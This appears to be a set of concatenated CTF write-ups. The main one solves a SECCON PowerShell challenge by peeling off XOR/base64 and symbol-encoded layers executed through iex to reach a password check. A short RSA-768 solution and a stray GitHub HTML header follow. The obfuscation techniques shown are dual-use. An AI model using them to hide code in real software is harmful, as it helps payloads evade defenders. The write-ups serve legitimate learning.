|'Write-Host -b 15 -f 00 ' 'Write-Host$stage1=@();$f="";While($stage1.length -lt 14){ $key=(Get-Host).ui.RawUI.ReadKey("NoEcho,IncludeKeyDown") $k=[String]$key.Character $f+=$k; If($keytone.Contains($k)){ $stage1+=[math]::floor($keytone[$k]) [console]::beep($keytone[$k],500) }}$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)If($secret.length -eq $stage1.length){ For ($i=1; $i -le $secret.length; $i++) { If($secret[$i] -ne $stage1[$i]){ Exit } } x "Correct. Move to the next stage."}$text=@"YkwRUxVXQ05DQ1NOE1sVVU4TUxdTThBBFVdDTUwTURVTThMqFldDQUwdUxVRTBNEFVdAQUwRUxtTTBEzFVdDQU8RUxdTbEwTNxVVQUNOEFEVUUwdQBVXQ0NOE1EWUUwRQRtVQ0FME1EVUU8RThdVTUNMEVMVUUwRFxdVQUNCE1MXU2JOE0gWV0oxSk1KTEIoExdBSDBOE0MVO0NKTkAoERVDSTFKThNNFUwRFBVINUFJTkAqExtBSjFKTBEoF08RVRdKO0NKTldKMUwRQBc1QUo7SlNgTBNRFVdJSEZCSkJAKBEVQUgzSE8RQxdMHTMVSDVDSExCKxEVQ0o9SkwRQxVOE0IWSDVBSkJAKBEVQUgzThBXFTdDRExAKhMVQ0oxTxEzFzVNSkxVSjNOE0EWN0NITE4oExdBSjFMEUUXNUNTbEwTURVVSExCKxEVQ0o9SkwRQxVOEzEWSDVBSkJAKBEVQUgzThAxFTdDREwTURVKMUpOECoVThNPFUo3U0pOE0gWThNEFUITQBdDTBFKF08RQBdMHRQVQUwTSBVOEEIVThNPFUNOE0oXTBFDF0wRQRtDTBFKFU4TQxZOExYVTUwTSBVMEUEXTxFOF0NCE0oXTBNCFU4QQRVBTB1KFU4TThdMESsXQ04TRBVMEUMVThNXFk4TQRVNTBNIFUwRFBdPEUEXQ0ITShdME0EVThBXFU4TWxVDThNKF0wRMBdMETUbQ0wRShVOE0MWThMqFU1ME0gVTBFDF08RQxdMHUMVQUwTSBVOEEEVThNNFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNGF0wTKhVBTxFKF0wdMxVOEzUXQ04QSBVOE0AVTBFVFUFMEUkXTBFDG0wTQRVMETMXQE4TSBVCE0MXTBNBFU4QQRVBTB1KFU4TQxdMEVYXTBEUG0NMEUoVThNBFk4TQRVCEygXQ0wRShdPEUMXTB1DFU4TQBdDThBIFU4TSBVMESgVQUwRSRdMEUYbTBMWFUNOE0gWThNCFUITFBdDTBFKF08RQxdMHUMVThNVF0NOEEgVThNNFUwRQxVOE0IWQUwRShtME0EVTBFVF08RQxdDQhNKF0wTQRVOEEEVThM9FUNOE0oXTBFFF0wRKBtDTBFKFU4TQRZOE0EVQhNAF0NMEUoXTxFDF0wdVRVOEzMXQ04QSBVOE00VTBFVFU4TQRZBTBFKG0wTRBVMESgXQE4TSBVCE0MXTBNBFU4QKhVBTB1KFU4TFBdMEUIXQ04TRBVMEUMVThNBFk4TNxVNTBNIFUwRQxdPEUMXTB01FUFME0gVThBBFU4TTRVMERQVQUwRSRdMEUMbTBNBFUwRQxdAThNIFUITQxdME0EVThAxFUFMHUoVThNDF0wRVhdMEVUbQ0wRShVOE0QWThMWFU1ME0gVTBFDF08RRhdDQhNKF0wTQRVOEFcVQUwdShVOE0EXTBFFF0NOE0QVTBFDFU4TVxZOEyoVTUwTSBVMETMXTxFVF0NCE0oXTBNEFU4QQhVBTB1KFU4TQBdMERcXQ04TRBVMEUAVThNDFkFMEUobTBNCFUwRQRdAThNIFUITQRdMExYVQU8RShdMHUEVThNOF0NOEEgVThNIFUwRKBVBTBFJF0wRMxtMEzcVQ04TSBZOE0EVQhNVF0wTQRVBTxFKF0wdQxVOE0MXTBFFF0NOE0QVTBFGFU4TKhZBTBFKG0wTRBVMERQXQE4TSBVCE04XTBNXFUFPEUoXTB0zFU4TThdDThBIFU4TTRVMEUMVThMWFkFMEUobTBNCFUwRFBdAThNIFUITQxdME0EVThAxFUFMHUoVThNGF0wRQxdDThNEFUwRQRVOEyoWQUwRShtMEzcVTBFDF0BOE0gVQhMzF0wTFhVBTxFKF0wdMxVOExQXQ04QSBVOE0gVTBEUFUFMEUkXTBEzG0wTQRVDThNIFk4TQRVCEygXTBNEFUFPEUoXTB1DFU4TRhdDThBIFU4TTRVMEVUVQUwRSRdMERQbQ0wRShVOE0wWThNDFU1ME0gVTBFDF08RQxdMHTMVQUwTSBVOEEEVThNbFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNDF0wTVxVOEEEVQUwdShVOEzMXTBE2F0NOE0QVTBFBFU4TKhZBTBFKG0wTQRVMEUMXTxFDF0NCE0oXTBNBFU4QQRVOEzsVQ04TShdMEUAXTBFDG0wTQhVDThNIFk4TRBVCEygXQ0wRShdPEUYXTB0UFUFME0gVThBDFU4TTRVDThNKF0wRQBdMEUMbTBNBFUNOE0gWThNBFUITQxdME0EVQU8RShdMHUMVThNVF0wRVhdDThNEFUwRRhVOEyoWQUwRShtME0MVTBEzF0BOE0gVQhNDF0wTQRVOEEEVQUwdShVOExQXTBFNF0NOE0QVTBFGFU4TRBZBTBFKG0wTRBVMERQXQE4TSBVCEzUXTBMWFUFPEUoXTB1DFU4TRhdDThBIFU4TTRVMEVUVQUwRSRdMERQbQ0wRShVOE0wWThNDFU1ME0gVTBFDF08RQxdMHTMVQUwTSBVOEEEVThNbFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNDF0wTVxVOEEEVQUwdShVOEzMXTBE2F0NOE0QVTBFBFU4TKhZBTBFKG0wTQRVMEUMXTxFDF0NCE0oXTBNBFU4QQRVOEzsVQ04TShdMEUAXTBFDG0wTQhVDThNIFk4TRBVCEygXQ0wRShdPEUYXTB0zFUFME0gVThBMFU4TSBVDThNKF0wRQxdMERQbQ0wRShVOE0IWThNDFU1ME0gVTBFAF08RQRdDQhNKF0wTQxVOEBYVQUwdShVOE0EXTBFNF0NOE0QVTBFDFU4TKhZOE0QVTUwTSBVMEUYXTxFAF0NCE0oXTBNCFU4QFhVBTB1KFU4TQBdMEUIXQ04TRBVMEUAVThNDFkFMEUobTBNDFUwRFBdAThNIFUITQRdME0wVQU8RShdMHUMVThMoF0wRNhdDThNEFUwRRhVOEzEWQUwRShtME0EVTBFGF0BOE0gVQhNDF0wTVxVBTxFKF0wdQxVOEygXTBE2FxROE10VShZOTBFTF2E="@
$plain=@()$byteString = [System.Convert]::FromBase64String($text)$xordData = $(for ($i = 0; $i -lt $byteString.length; ) { for ($j = 0; $j -lt $f.length; $j++) { $plain+=$byteString[$i] -bxor $f[$j] $i++ if ($i -ge $byteString.Length) { $j = $f.length } }})iex([System.Text.Encoding]::ASCII.GetString($plain))```
Arriving here , this step has two steps :**First Step :**the script generate some keytone using a for loop which leads the keytone to has this content (simply done using echo $keytone)Name Value *-*-*- *-*-*- f 349.234151046506 a 261.63 g 392.002080523246 y 415.31173722644 k 523.26 u 466.171663254114 e 311.132257498162 j 493.891672853823 h 440.007458245659 d 329.633144283996 s 293.669745699181 w 277.187329377222 t 370.000694323673

then the script asks us to play the melody , if we take a look at the while loop and for loop just after the game : ```PowerShell$stage1=@();$f="";While($stage1.length -lt 14){ $key=(Get-Host).ui.RawUI.ReadKey("NoEcho,IncludeKeyDown") $k=[String]$key.Character $f+=$k; echo "f : $f" If($keytone.Contains($k)){ echo "d5alt" $stage1+=[math]::floor($keytone[$k]) echo "stage : $stage1" }}$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)echo "secret : $secret"If($secret.length -eq $stage1.length){ For ($i=1; $i -le $secret.length; $i++) { If($secret[$i] -ne $stage1[$i]){ Exit } } echo "Correct. Move to the next stage."}```
We can easily figure out that we should press keytone that generates 440,440,493,440,440,493,440,493,523,493,440,493,440,349 , so playing arround with thiswe got the chars that gives us the correct output "hhjhhjhjkjhjhf"
and we got the message "Correct. Move to the next stage."**Second Step**the script just makes some xored transformation between $text content and $f content ( we don't really need to understant what it exactly does ) we can easily add at the end "echo $plain" and the output is : ```ascii10 36 123 59 125 61 43 36 40 41 59 36 123 61 125 61 36 123 59 125 59 36 123 43 125 61 43 43 36 123 59 125 59 36 123 64 125 61 43 43 36 123 59 125 59 36 123 46 125 61 43 43 36 123 59 125 59 36 123 91 125 61 43 43 36 123 59 125 59 10 36 123 93 125 61 43 43 36 123 59 125 59 36 123 40 125 61 43 43 36 123 59 125 59 36 123 41 125 61 43 43 36 123 59 125 59 36 123 38 125 61 43 43 36 123 59 125 59 36 123 124 125 61 43 43 36 123 59 125 59 10 36 123 34 125 61 34 91 34 43 34 36 40 64 123 125 41 34 91 36 123 41 125 93 43 34 36 40 64 123 125 41 34 91 34 36 123 43 125 36 123 124 125 34 93 43 34 36 40 64 123 125 41 34 91 34 36 123 64 125 36 123 61 125 34 93 43 34 36 63 34 91 36 123 43 125 93 43 34 93 34 59 10 36 123 59 125 61 34 34 46 40 34 36 40 64 123 125 41 34 91 34 36 123 43 125 36 123 91 125 34 93 43 34 36 40 64 123 125 41 34 91 34 36 123 43 125 36 123 40 125 34 93 43 34 36 40 64 123 125 41 34 91 36 123 61 125 93 43 34 36 40 64 123 125 41 34 91 36 123 91 125 93 43 34 36 63 34 91 36 123 43 125 93 43 34 36 40 64 123 125 41 34 91 36 123 46 125 93 41 59 10 36 123 59 125 61 34 36 40 64 123 125 41 34 91 34 36 123 43 125 36 123 91 125 34 93 43 34 36 40 64 123 125 41 34 91 36 123 91 125 93 43 34 36 123 59 125 34 91 34 36 123 64 125 36 123 41 125 34 93 59 34 36 123 34 125 36 123 46 125 36 123 40 125 43 36 123 34 125 36 123 40 125 36 123 124 125 43 36 123 34 125 36 123 40 125 36 123 41 125 43 36 123 34 125 36 123 40 125 36 123 41 125 43 36 123 34 125 36 123 41 125 36 123 124 125 43 36 123 34 125 36 123 41 125 36 123 38 125 43 36 123 34 125 36 123 40 125 36 123 43 125 43 36 123 34 125 36 123 38 125 36 123 64 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 43 125 43 36 123 34 125 36 123 124 125 36 123 41 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 61 125 43 36 123 34 125 36 123 91 125 36 123 93 125 43 36 123 34 125 36 123 41 125 36 123 64 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 43 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 93 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 40 125 43 36 123 34 125 36 123 46 125 36 123 64 125 43 36 123 34 125 36 123 91 125 36 123 93 125 43 36 123 34 125 36 123 38 125 36 123 61 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 91 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 43 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 124 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 64 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 40 125 43 36 123 34 125 36 123 46 125 36 123 64 125 43 36 123 34 125 36 123 46 125 36 123 124 125 43 36 123 34 125 36 123 40 125 36 123 124 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 61 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 40 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 43 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 91 125 43 36 123 34 125 36 123 46 125 36 123 64 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 40 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 91 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 43 125 43 36 123 34 125 36 123 46 125 36 123 64 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 64 125 43 36 123 34 125 36 123 124 125 36 123 41 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 93 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 93 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 124 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 43 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 91 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 61 125 43 36 123 34 125 36 123 46 125 36 123 124 125 43 36 123 34 125 36 123 43 125 36 123 46 125 43 36 123 34 125 36 123 43 125 36 123 61 125 43 36 123 34 125 36 123 41 125 36 123 46 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 64 125 43 36 123 34 125 36 123 91 125 36 123 61 125 43 36 123 34 125 36 123 46 125 36 123 40 125 43 36 123 34 125 36 123 40 125 36 123 124 125 43 36 123 34 125 36 123 40 125 36 123 41 125 43 36 123 34 125 36 123 40 125 36 123 41 125 43 36 123 34 125 36 123 41 125 36 123 124 125 43 36 123 34 125 36 123 41 125 36 123 38 125 43 36 123 34 125 36 123 46 125 36 123 64 125 43 36 123 34 125 36 123 91 125 36 123 93 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 43 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 46 125 43 36 123 34 125 36 123 46 125 36 123 64 125 43 36 123 34 125 36 123 46 125 36 123 124 125 43 36 123 34 125 36 123 38 125 36 123 61 125 43 36 123 34 125 36 123 91 125 36 123 38 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 124 125 43 36 123 34 125 36 123 40 125 36 123 124 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 91 125 43 36 123 34 125 36 123 46 125 36 123 40 125 43 36 123 34 125 36 123 41 125 36 123 64 125 43 36 123 34 125 36 123 93 125 36 123 43 125 43 36 123 34 125 36 123 91 125 36 123 124 125 43 36 123 34 125 36 123 91 125 36 123 124 125 43 36 123 34 125 36 123 46 125 36 123 124 125 43 36 123 34 125 36 123 91 125 36 123 43 125 43 36 123 34 125 36 123 43 125 36 123 64 125 36 123 46 125 43 36 123 34 125 36 123 43 125 36 123 46 125 43 36 123 34 125 36 123 43 125 36 123 61 125 43 36 123 34 125 36 123 124 125 43 36 123 34 125 36 123 38 125 36 123 41 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 91 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 93 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 40 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 43 125 43 36 123 34 125 36 123 91 125 36 123 93 125 43 36 123 34 125 36 123 41 125 36 123 64 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 43 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 93 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 40 125 43 36 123 34 125 36 123 46 125 36 123 64 125 43 36 123 34 125 36 123 46 125 36 123 124 125 43 36 123 34 125 36 123 41 125 36 123 43 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 43 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 43 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 61 125 43 36 123 34 125 36 123 46 125 36 123 64 125 43 36 123 34 125 36 123 41 125 36 123 91 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 43 125 43 36 123 34 125 36 123 124 125 36 123 38 125 43 36 123 34 125 36 123 46 125 36 123 46 125 43 36 123 34 125 36 123 46 125 36 123 124 125 43 36 123 34 125 36 123 93 125 36 123 124 125 43 36 123 34 125 36 123 43 125 36 123 46 125 43 36 123 34 125 36 123 43 125 36 123 61 125 43 36 123 34 125 36 123 124 125 43 36 123 34 125 36 123 38 125 36 123 41 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 91 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 93 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 40 125 43 36 123 34 125 36 123 43 125 36 123 61 125 36 123 43 125 43 36 123 34 125 36 123 91 125 36 123 93 125 43 36 123 34 125 36 123 41 125 36 123 64 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 43 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 93 125 43 36 123 34 125 36 123 43 125 36 123 43 125 36 123 40 125 43 36 123 34 125 36 123 46 125 36 123 64 125 43 36 123 34 125 36 123 46 125 36 123 91 125 43 36 123 34 125 36 123 38 125 36 123 46 125 43 36 123 34 125 36 123 40 125 36 123 124 125 43 36 123 34 125 36 123 40 125 36 123 41 125 43 36 123 34 125 36 123 40 125 36 123 41 125 43 36 123 34 125 36 123 41 125 36 123 124 125 43 36 123 34 125 36 123 41 125 36 123 38 125 43 36 123 34 125 36 123 43 125 36 123 64 125 36 123 46 125 43 36 123 34 125 36 123 46 125 36 123 40 125 43 36 123 34 125 36 123 40 125 36 123 124 125 43 36 123 34 125 36 123 40 125 36 123 41 125 43 36 123 34 125 36 123 40 125 36 123 41 125 43 36 123 34 125 36 123 41 125 36 123 124 125 43 36 123 34 125 36 123 41 125 36 123 38 125 43 36 123 34 125 36 123 43 125 36 123 64 125 36 123 93 125 43 36 123 34 125 36 123 46 125 36 123 91 125 43 36 123 34 125 36 123 43 125 36 123 46 125 43 36 123 34 125 36 123 43 125 36 123 61 125 43 36 123 34 125 36 123 43 125 36 123 64 125 36 123 93 125 124 36 123 59 125 34 124 38 36 123 59 125 10```It's a hex , we grab python , and with a simple ```py obfuscated=plain.replace(" ",")+chr(")obfuscated="chr("+obfuscated+")"eval(obfuscated)```we got : ```PowerShell${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};\n${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&$;;}```just defining some variables : ```; : 0= : 0+ : 1@ : 2. : 3[ : 4] : 5( : 6) : 7& : 8\ : 9" : [CHar]; : string Insert(int startIndex, string value); : iex```we want to print the last line content which contains the vaidation password , so wee need only to escape the double quotes then make a simple echo of the code ```PowerShellecho "`"${`"}${.}${(}+${`"}${(}${|}+${`"}${(}${)}+${`"}${(}${)}+${`"}${)}${|}+${`"}${)}${&}+${`"}${(}${+}+${`"}${&}${@}+${`"}${+}${=}${+}+${`"}${|}${)}+${`"}${+}${=}${=}+${`"}${[}${]}+${`"}${)}${@}+${`"}${+}${+}${+}+${`"}${+}${+}${]}+${`"}${+}${+}${(}+${`"}${.}${@}+${`"}${[}${]}+${`"}${&}${=}+${`"}${+}${+}${[}+${`"}${+}${+}${+}+${`"}${+}${=}${|}+${`"}${+}${+}${@}+${`"}${+}${+}${(}+${`"}${.}${@}+${`"}${.}${|}+${`"}${(}${|}+${`"}${+}${+}${=}+${`"}${+}${+}${(}+${`"}${+}${=}${+}+${`"}${+}${+}${[}+${`"}${.}${@}+${`"}${+}${+}${(}+${`"}${+}${=}${[}+${`"}${+}${=}${+}+${`"}${.}${@}+${`"}${+}${+}${@}+${`"}${|}${)}+${`"}${+}${+}${]}+${`"}${+}${+}${]}+${`"}${+}${+}${|}+${`"}${+}${+}${+}+${`"}${+}${+}${[}+${`"}${+}${=}${=}+${`"}${.}${|}+${`"}${+}${.}+${`"}${+}${=}+${`"}${)}${.}+${`"}${+}${=}${@}+${`"}${[}${=}+${`"}${.}${(}+${`"}${(}${|}+${`"}${(}${)}+${`"}${(}${)}+${`"}${)}${|}+${`"}${)}${&}+${`"}${.}${@}+${`"}${[}${]}+${`"}${+}${=}${+}+${`"}${+}${+}${.}+${`"}${.}${@}+${`"}${.}${|}+${`"}${&}${=}+${`"}${[}${&}+${`"}${+}${+}${|}+${`"}${(}${|}+${`"}${+}${+}${[}+${`"}${.}${(}+${`"}${)}${@}+${`"}${]}${+}+${`"}${[}${|}+${`"}${[}${|}+${`"}${.}${|}+${`"}${[}${+}+${`"}${+}${@}${.}+${`"}${+}${.}+${`"}${+}${=}+${`"}${|}+${`"}${&}${)}+${`"}${+}${+}${[}+${`"}${+}${=}${]}+${`"}${+}${+}${(}+${`"}${+}${=}${+}+${`"}${[}${]}+${`"}${)}${@}+${`"}${+}${+}${+}+${`"}${+}${+}${]}+${`"}${+}${+}${(}+${`"}${.}${@}+${`"}${.}${|}+${`"}${)}${+}+${`"}${+}${+}${+}+${`"}${+}${+}${+}+${`"}${+}${=}${=}+${`"}${.}${@}+${`"}${)}${[}+${`"}${+}${+}${+}+${`"}${|}${&}+${`"}${.}${.}+${`"}${.}${|}+${`"}${]}${|}+${`"}${+}${.}+${`"}${+}${=}+${`"}${|}+${`"}${&}${)}+${`"}${+}${+}${[}+${`"}${+}${=}${]}+${`"}${+}${+}${(}+${`"}${+}${=}${+}+${`"}${[}${]}+${`"}${)}${@}+${`"}${+}${+}${+}+${`"}${+}${+}${]}+${`"}${+}${+}${(}+${`"}${.}${@}+${`"}${.}${[}+${`"}${&}${.}+${`"}${(}${|}+${`"}${(}${)}+${`"}${(}${)}+${`"}${)}${|}+${`"}${)}${&}+${`"}${+}${@}${.}+${`"}${.}${(}+${`"}${(}${|}+${`"}${(}${)}+${`"}${(}${)}+${`"}${)}${|}+${`"}${)}${&}+${`"}${+}${@}${]}+${`"}${.}${[}+${`"}${+}${.}+${`"}${+}${=}+${`"}${+}${@}${]}|${;}`"|&$;;}"```the output is : ```PowerShell[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]61+[CHar]82+[CHar]101+[CHar]97+[CHar]100+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]45+[CHar]80+[CHar]114+[CHar]111+[CHar]109+[CHar]112+[CHar]116+[CHar]32+[CHar]39+[CHar]69+[CHar]110+[CHar]116+[CHar]101+[CHar]114+[CHar]32+[CHar]116+[CHar]104+[CHar]101+[CHar]32+[CHar]112+[CHar]97+[CHar]115+[CHar]115+[CHar]119+[CHar]111+[CHar]114+[CHar]100+[CHar]39+[CHar]13+[CHar]10+[CHar]73+[CHar]102+[CHar]40+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]32+[CHar]45+[CHar]101+[CHar]113+[CHar]32+[CHar]39+[CHar]80+[CHar]48+[CHar]119+[CHar]69+[CHar]114+[CHar]36+[CHar]72+[CHar]51+[CHar]49+[CHar]49+[CHar]39+[CHar]41+[CHar]123+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]39+[CHar]71+[CHar]111+[CHar]111+[CHar]100+[CHar]32+[CHar]74+[CHar]111+[CHar]98+[CHar]33+[CHar]39+[CHar]59+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]34+[CHar]83+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]123+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]125|iex"|&iex```transforming the output using python we got another little powershell script , but this time is cleaner :D ```PowerShell'$ECCON=Read-Host -Prompt \'Enter the password\'\r\nIf($ECCON -eq \'P0wEr$H311\'){\r\n\tWrite-Host \'Good Job!\';\r\n\tWrite-Host "SECCON{$ECCON}"\r\n}'```
We enter P0wEr$H311 as password the we got the validation password : SECCON{P0wEr$H311}
it was a cool challenge it gives me a chance playing around with powershell scripts |
This is an RSA challenge called '768'. So, we search up [RSA 768](http://bfy.tw/FOES) on Google, and the first result that comes up is a Wikipedia article about RSA numbers. The one of interest to us is [RSA-768](https://en.wikipedia.org/wiki/RSA_numbers#RSA-768) and we get the factors. After getting the factors, decrypting is pretty easy and we get the flag: `tpctf{omg_b1c_m0dulus}`. |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
